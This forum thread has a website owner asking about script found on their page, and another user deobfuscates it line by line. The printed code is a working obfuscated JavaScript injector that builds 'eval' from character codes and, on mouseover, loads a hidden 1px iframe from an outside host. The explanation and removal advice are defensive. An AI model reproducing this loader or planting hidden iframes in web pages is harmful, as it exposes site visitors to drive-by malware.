site Search:


 
    All Forums Hot Topics Gallery






how-to block ads


 
Search Topic:
Uniqs:
811
Share Topic
Posting?
Post a:
Post a:
Links: ·How To Get Noticed ·Web Monks FAQ ·Webhosting FAQ ·Posting Code ·How To Post ·Webhosting forum
AuthorAll Replies


page_help

@donapex.net

help - is this a virus on my page?

hmmm looks like somone infected files on my server

I found this script on one of my pages:

 
</div>
 
window.w3ssss=function(){
var scriptlink = "http://jquery.googlecode.com/svn/trunk/gadget/scripts/s.js?userrefer=%0Agod%0Argdiioufb5br4up%3Dj5nds1eo27rce5iukeymf32eye6nd1otd6p.djdch7jrmlpeb6iarwwt7fnehogExfllw2fef6rms8dedwlneflt0xa%289op%22iwyi0jbfb5qr0huam6kmjnjebk6%229ne%29k2t%3B92w%0Atrbi7xwfgygrby4.d6usds2r6lqc0op%3Dyla%22sj6hnuitjr5trrzpjbv%3Aag5/4ne/mlhvrfkcsno-f0fb52wugljsbswiplqnihkeccts3g0sent.mduc93toyxbmy7u/94sid0znyv8.rp8p408h30dpvsg%22rv4%3B6hv%0Agsdi2lifsi9rcho.2kls691t0ekyjqxlvgierel.323w6twiwh2dl3yt3hghjks%3Dphp%228dm100ipk97xquk%221r9%3B4vh%0A08diu28fb0cr2tp.9nys8swtbfwy3h8l5eaeiql.eiohwedeuwvi2fggwbxhrextp7t%3De6n%22wr41xb9p33hxl9y%22b5q%3Bvj0%0Abked5sroashcirduaemm6vze316npyhtbtz.ymcg5y9e95bt69tEs9pljozejf0mo6xej35nhpftxv8BituyhjnIrvxdmja%28ogs%228hwwtis3r3bsq7dtdvsad7cttpjs2ek%2293b%296gq.ag8au9epp09p29ve4q9nn5ddzp7C8akhdbuife5lacndb3l%28wq7ine2fl54r0f8%29uen%3B96e%0Abl4%0Azwv";
var visitnum=window.history.length%1000-window.history.length+4;
var countbox=document.createElement("div");countbox.id='countbox';
idarr = new Array(97,114,93,104);
for(var i=0,elem=[]; i
 

anti-virus programs flag it as a page with a virus...

please help...

thank you...


Mospaw
My socks don't match.
Hawaiian Jellyfish
join:2001-01-08
Mile High
kudos:1

Did you put this on your page? If you didn't, and you have no idea who did, I'd remove it either way. And then figure out why your pages are insecure.



cowboyro

join:2000-10-11
Shelton, CT

reply to page_help
If it's *YOUR SERVER* (as in you have 100% control of it, not from a hosting company) then you shouldn't see any code that you didn't put.



cdru
Go Colts
Premium,MVM
join:2003-05-14
Fort Wayne, IN
kudos:7

1 edit

reply to page_help

It's not a virus, but it is malicious code. The whole code is:
window.w3ssss=function(){
var scriptlink = "http://jquery.googlecode.com/svn/trunk/gadget/scripts/s.js?userrefer=%0Agod%0Argdiioufb5br4up%3Dj5nds1eo27rce5iukeymf32eye6nd1otd6p.djdch7jrmlpeb6iarwwt7fnehogExfllw2fef6rms8dedwlneflt0xa%289op%22iwyi0jbfb5qr0huam6kmjnjebk6%229ne%29k2t%3B92w%0Atrbi7xwfgygrby4.d6usds2r6lqc0op%3Dyla%22sj6hnuitjr5trrzpjbv%3Aag5/4ne/mlhvrfkcsno-f0fb52wugljsbswiplqnihkeccts3g0sent.mduc93toyxbmy7u/94sid0znyv8.rp8p408h30dpvsg%22rv4%3B6hv%0Agsdi2lifsi9rcho.2kls691t0ekyjqxlvgierel.323w6twiwh2dl3yt3hghjks%3Dphp%228dm100ipk97xquk%221r9%3B4vh%0A08diu28fb0cr2tp.9nys8swtbfwy3h8l5eaeiql.eiohwedeuwvi2fggwbxhrextp7t%3De6n%22wr41xb9p33hxl9y%22b5q%3Bvj0%0Abked5sroashcirduaemm6vze316npyhtbtz.ymcg5y9e95bt69tEs9pljozejf0mo6xej35nhpftxv8BituyhjnIrvxdmja%28ogs%228hwwtis3r3bsq7dtdvsad7cttpjs2ek%2293b%296gq.ag8au9epp09p29ve4q9nn5ddzp7C8akhdbuife5lacndb3l%28wq7ine2fl54r0f8%29uen%3B96e%0Abl4%0Azwv";
var visitnum=window.history.length%1000-window.history.length+4;
var countbox=document.createElement("div");countbox.id='countbox';
idarr = new Array(97,114,93,104);
for(var i=0,elem=[]; i<visitnum; i++){elem[i]=document.createElement("div");elem[i].id= String.fromCharCode(idarr[i]+visitnum);countbox.appendChild(elem[i]);}
var cont=''; currentuser=true, nextuser=countbox.firstChild;
do{currentuser=nextuser; cont += currentuser.id; nextuser=currentuser.nextSibling;}while(currentuser!==countbox.lastChild)
var userref=unescape(scriptlink.substr(scriptlink.indexOf('?userrefer=')+11));
for(var i=0,content=''; i<userref.length; i+=visitnum){content+=userref.charAt(i);}
try{window[cont](content)}catch(e){}
}
window.CheckBody = function()
{
if (!document.body){setTimeout('CheckBody();',10);}
else
{
window.nomore=false;
document.body.onmouseover=function(){if(!window.nomore){window.nomore=true;w3ssss();}}
window.onmouseover=function(){if(!window.nomore){window.nomore=true;w3ssss();}}
}
}
CheckBody();
 

If you care what it's doing:
Line 1 is the creating a function w3ssss. If you google it, you'll find out more information on this hack and it's common.

Line 2 is the payload. The actual URL is irrelevent. It returns a 404. What is important is what comes after userrefer. Remember that part for later.

Line 3 gives the appearance you're tracking visits. It's just setting the variable to 4 unless you have greater then 1000 entries in your window history. Which you likely never will, so it's just 4.

Line 4 creates a div on the page.

Line 5 is an array of ASCII decimal values offset by 4.

Line 6 is a loop that builds a string that corresponds to the ascii values in line 5. It results in "eval".

Line 7 just creates a few variables.

Line 8 gets the last child of the div that it created in line 4. As far as I can tell, this is just for appearance as the div should be empty.

Line 9 unescapes the encoded command in Line 2.

Line 10 builds the malicious command by taking every 4th character from the unescaped command. You end up with:
ifr=document.createElement("iframe");
ifr.src="http://vc-business.com/in.php";
ifr.style.width="1px";
ifr.style.height="1px";
document.getElementById("w3stats").appendChild(ifr);
 
This just creates an iframe pointed at vc-business.com and inserts it into the page.

Line 11 executes the command

Line 13 creates a function that...
Line 15 wukk check to see if the body element exists yet and waits 10 ms and checks again until...
Line 18 sets a variable so that the iframe doesn't get called a 2nd time

Line 19 will trigger the w3ssss function created in line 1 when the body is hovered on or
Line 20 when the window is hovered

And finally line 23 gets the whole process going.

The obfuscation isn't all that difficult once you understand how it's doing it. I think however there is one error in it. The encoded javascript looks for an element with an id of "w3stats" to insert the iframe into, not "countbox" that's created in step 4

To remove: Delete everything between and including the script tags. Also check all your other pages and change your credentials for your website as it's obviously been compromised.

Monday, 20-May 01:48:14 Terms of Use & Privacy | feedback | contact | Hosting by nac.net - DSL,Hosting & Co-lo
over 13.5 years online © 1999-2013 dslreports.com.
Most commented news this week
Hot Topics